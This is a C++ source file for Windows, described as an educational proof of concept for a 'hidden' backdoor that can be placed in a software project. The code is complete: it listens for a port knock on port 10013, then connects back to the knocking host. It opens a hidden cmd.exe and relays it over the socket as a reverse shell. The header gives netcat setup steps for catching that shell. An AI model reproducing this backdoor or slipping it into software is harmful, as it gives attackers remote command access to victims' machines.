/* Most of the Originating code is pulled from: http://msdn2.microsoft.com/en-us/library/ms737593.aspx Author (term used loosely): Adam Pridgen Date : March 11, 2007 Attribution-NonCommercial 2.5 CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE LEGAL SERVICES. DISTRIBUTION OF THIS LICENSE DOES NOT CREATE AN ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS INFORMATION ON AN "AS-IS" BASIS. CREATIVE COMMONS MAKES NO WARRANTIES REGARDING THE INFORMATION PROVIDED, AND DISCLAIMS LIABILITY FOR DAMAGES RESULTING FROM ITS USE. This software is POC so the code was/is hacked and probably has some bugs. This software is meant only for educational purposes only. Compiled under VS 2005. Requires WS2_32.lib in the MS Platform SDK. SpecialRequest.cpp : Demonstration of "hidden" backdoor that can be placed in a software project. There are no new concepts here, and this is simply a Proof of Concept for others to demonstrate. As I mentioned before, the intent is to help educate people not familiar with security and access rights given to processes. Scenario is as follows: The application is running and somehow triggers this backdoor server to start executing. The server listens for a single port knock, and upon recieving the port knock, the server connects back the host that knocked. When connecting back the server also sends a command shell with giving access to the Windows system. Depending on how the process privileges are setup, the user may actually be able to add themselves as a user or do other whatever they want. Tested using netcat and telnet on a physical linux box, and running the binary on a windows machine Demonstration Setup: 1) Compile and run this program. 2) Download netcat 3) cd to the necat directory 4) Run netcat w/ the following options: nc -L -p 10014 5) Run this program 6) Connect using telnet: telnet hostname 10013 7) Should have a shell. Most of the code is from the MSDN examples, and the pipes I got working b/c of a forum post here, which incidentally was something similar..go figure: http://www.governmentsecurity.org/archive/t13533.html Hope it proves useful to someone. */ #include #include #include #include WSADATA wsaData; #define DEFAULT_PORT 10013 #define DEFAULT_BUFLEN 4096 int ShovelBackShell(SOCKET* sock){ char *sendbuf = "this is a test"; char *cmd = "cmd.exe"; char buf[DEFAULT_BUFLEN]; int iResult; int recvbuflen = DEFAULT_BUFLEN; BOOL bResult; SECURITY_ATTRIBUTES sa; HANDLE hOutRead, hOutWrite, hInRead, hInWrite; PROCESS_INFORMATION pi; STARTUPINFOA si; ZeroMemory(buf, 4096); ZeroMemory(&si, sizeof(STARTUPINFO)); ZeroMemory(&sa, sizeof(SECURITY_ATTRIBUTES)); sa.bInheritHandle=TRUE; sa.nLength=sizeof(sa); sa.lpSecurityDescriptor=NULL; if (!CreatePipe(&hInRead, &hInWrite, &sa, 0)){ printf("Failed to create pipe\n"); return 1; } if (!CreatePipe(&hOutRead, &hOutWrite, &sa, 0)){ printf("Failed to create pipe\n"); return 1; } GetStartupInfoA(&si); si.cb = sizeof(STARTUPINFO); si.dwFlags = STARTF_USESTDHANDLES |STARTF_USESHOWWINDOW; si.hStdOutput = hOutWrite; si.hStdInput = hInRead; si.hStdError = hOutWrite; si.wShowWindow = SW_HIDE; bResult = CreateProcessA(NULL, TEXT("cmd.exe"), NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi); if (!bResult){ printf("Could not create process!\n"); return 1; } DWORD Actual = 0; WaitForSingleObject(pi.hProcess, 100); ReadFile(hOutRead, buf, 4096, &Actual, NULL); iResult = send(*sock, buf, Actual, 0); do { ZeroMemory(buf, 4096); iResult = recv(*sock, buf, recvbuflen, 0); if ( iResult > 0 ){ printf("Bytes received: %d\n", iResult); WriteFile(hInWrite, buf, iResult, &Actual, NULL); WaitForSingleObject(pi.hProcess, 100); ZeroMemory(buf, 4096); ReadFile(hOutRead, buf, 4096, &Actual, NULL); iResult = send(*sock, buf, Actual, 0); }else if ( iResult == 0 ) printf("Connection closed\n"); else printf("recv failed: %d\n", WSAGetLastError()); } while( iResult > 0 ); CloseHandle(hInRead); CloseHandle(hInWrite); CloseHandle(hOutRead); CloseHandle(hOutWrite); return 0; } int PipeCmdShell(SOCKET &in_client){ SOCKET ConnectBack = INVALID_SOCKET; struct sockaddr_in name; unsigned short port; int namelen = sizeof(name); char *sendbuf = "this is a test"; char recvbuf[DEFAULT_BUFLEN]; int iResult; int recvbuflen = DEFAULT_BUFLEN; // Get Socket Information here iResult = getpeername(in_client, (sockaddr *) &name, &namelen); if ( iResult != 0 ) { printf("getpeername failed: %d\n", WSAGetLastError()); return 1; } ConnectBack = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); name.sin_family = AF_INET; name.sin_port = htons(DEFAULT_PORT+1); // Attempt to connect to an address until one succeeds // Connect to server. iResult = connect( ConnectBack, (sockaddr*) &name, sizeof(name)); if (iResult == SOCKET_ERROR) { closesocket(ConnectBack); ConnectBack = INVALID_SOCKET; } if (ConnectBack == INVALID_SOCKET) { printf("Unable to connect to server!\n"); return 1; } // Send an initial buffer iResult = send( ConnectBack, sendbuf, (int)strlen(sendbuf), 0 ); if (iResult == SOCKET_ERROR) { printf("send failed: %d\n", WSAGetLastError()); closesocket(ConnectBack); return 1; } printf("Bytes Sent: %ld\n", iResult); // Receive until the peer closes the connection ShovelBackShell(&ConnectBack); closesocket(ConnectBack); return 0; } int __cdecl main(int argc, char* argv[]) { WSADATA wsaData; SOCKET ListenSocket = INVALID_SOCKET, ClientSocket = INVALID_SOCKET; struct sockaddr_in listen_addr; struct addrinfo x; struct addrinfo *x_l; char port[14]; char ip[256]; int iResult, iSendResult; iResult = WSAStartup(MAKEWORD(2,2), &wsaData); if (iResult != 0) { printf("WSAStartup failed: %d\n", iResult); return 1; } if (argc > 2){ size_t i = strlen(argv[1]); if (i > 255) i = 256; strncpy(ip, argv[1], i); }else{ if (iResult = gethostname(ip, 256) != 0){ printf("gethostname != 0: %u", WSAGetLastError()); WSACleanup(); return 1; } } itoa(DEFAULT_PORT, port, 10); memset(&x, 0, sizeof(x)); x.ai_family = AF_INET; x.ai_socktype = SOCK_STREAM; x.ai_protocol = IPPROTO_TCP; if ((getaddrinfo(ip, port, &x, &x_l)) != 0) { printf("getaddrinfo() failed.\n"); } // Initialize Winsock // Resolve the server address and port // Create a SOCKET for connecting to server ListenSocket = socket(x_l->ai_family, x_l->ai_socktype, x_l->ai_protocol); if (ListenSocket == INVALID_SOCKET) { printf("socket failed: %ld\n", WSAGetLastError()); WSACleanup(); return 1; } // Setup the TCP listening socket iResult = bind( ListenSocket, x_l->ai_addr, (int)x_l->ai_addrlen); if (iResult == SOCKET_ERROR) { printf("bind failed: %d\n", WSAGetLastError()); closesocket(ListenSocket); WSACleanup(); return 1; } iResult = listen(ListenSocket, SOMAXCONN); if (iResult == SOCKET_ERROR) { printf("listen failed: %d\n", WSAGetLastError()); closesocket(ListenSocket); WSACleanup(); return 1; } // Accept a client socket while (1){ ClientSocket = accept(ListenSocket, NULL, NULL); if (ClientSocket == INVALID_SOCKET) { printf("accept failed: %d\n", WSAGetLastError()); closesocket(ListenSocket); WSACleanup(); return 1; } PipeCmdShell(ClientSocket); closesocket(ClientSocket); } // No longer need server socket closesocket(ListenSocket); // shutdown the connection since we're done iResult = shutdown(ClientSocket, SD_SEND); if (iResult == SOCKET_ERROR) { printf("shutdown failed: %d\n", WSAGetLastError()); closesocket(ClientSocket); WSACleanup(); return 1; } // cleanup WSACleanup(); return 0; }